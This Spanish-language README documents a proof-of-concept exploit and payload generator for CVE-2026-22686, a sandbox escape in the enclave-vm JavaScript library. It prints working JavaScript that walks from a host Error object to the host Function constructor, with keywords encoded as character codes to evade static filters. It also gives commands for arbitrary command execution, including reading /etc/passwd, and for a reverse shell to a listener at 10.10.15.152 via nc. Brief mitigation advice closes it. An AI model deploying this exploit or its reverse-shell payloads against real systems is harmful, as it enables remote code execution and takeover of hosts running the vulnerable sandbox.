Prueba de concepto de exploit y generador de payload para CVE-2026-22686, un escape de sandbox en enclave-vm <2.7.0 que permite ejecución de código arbitrario y reverse shells.
Una prueba de concepto (PoC) de explotación y generador de payloads para CVE-2026-22686, una vulnerabilidad crítica de escape de sandbox en enclave-vm en versiones anteriores a 2.7.0, que permite la ejecución de código arbitrario dentro del runtime de Node.js del host.
⚠️ Aviso legal: Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Su uso contra sistemas sin consentimiento previo por escrito es ilegal. El autor no asume ninguna responsabilidad por cualquier uso indebido.
enclave-vm es una librería de sandboxing de JavaScript diseñada para ejecutar de forma segura código no confiable dentro de un entorno controlado. En versiones < 2.7.0, un fallo en la forma en que los objetos de error del lado del host se exponen al sandbox permite a un atacante recorrer la cadena de prototipos y alcanzar el constructor Function del host, escapando efectivamente del sandbox.
Este repositorio contiene:
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Crítico) |
| CWE | CWE-693 — Fallo del mecanismo de protección |
| Componente | enclave-vm |
| Afecta a | < 2.7.0 |
| Corregido en | 2.7.0 |
| Impacto | Escape de sandbox → ejecución de código arbitrario (RCE) |
Cuando una llamada a herramienta dentro del sandbox falla, enclave-vm expone el objeto Error del lado del host de vuelta al código del sandbox. Debido a que este objeto de error conserva su cadena de prototipos original del entorno del host, un atacante puede recorrer la cadena de la siguiente manera:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Una vez obtenido el constructor Function del host, el atacante puede compilar y ejecutar JavaScript arbitrario en el runtime del host — eludiendo por completo el sandbox.
El exploit sigue estos pasos:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, que es el Function del host.Function del host y ejecutarlo.child_process y ejecuta un comando de shell arbitrario (o lanza una reverse shell).Todas las palabras clave sensibles (constructor, __proto__, __lookupGetter__, prototype) están ofuscadas como códigos de caracteres ASCII para eludir filtros estáticos simples.
Sin dependencias externas — utiliza únicamente la librería estándar de Python.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Requisitos:
python3 generator.py
Se te pedirá que:
Luego copia el payload generado y pégalo en la entrada del sandbox vulnerable.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (atacante — listener):
nc -lvnp 4444
Terminal 2 (generador):
python3 generator.py --revshell 10.10.15.152 4444
Copia el payload resultante y pégalo en el sandbox. Deberías recibir una shell en la Terminal 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Descripción |
|---|---|
-c, --command | Comando de shell a ejecutar |
--revshell LHOST LPORT | Genera un payload de reverse shell |
--raw | Imprime solo el payload (sin banner, sin decoración) |
--lang {fr,en} | Fuerza el idioma de la interfaz |
-h, --help | Muestra la ayuda y ejemplos |
const s = (...args) => String.fromCharCode(...args);
Un pequeño helper para decodificar arrays de códigos ASCII en tiempo de ejecución.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Evita filtros triviales basados en cadenas.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
El Function del host se utiliza entonces para ejecutar el comando del atacante mediante child_process.execSync().
Para desarrolladores:
enclave-vm a >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Para usuarios / organizaciones:
Detección: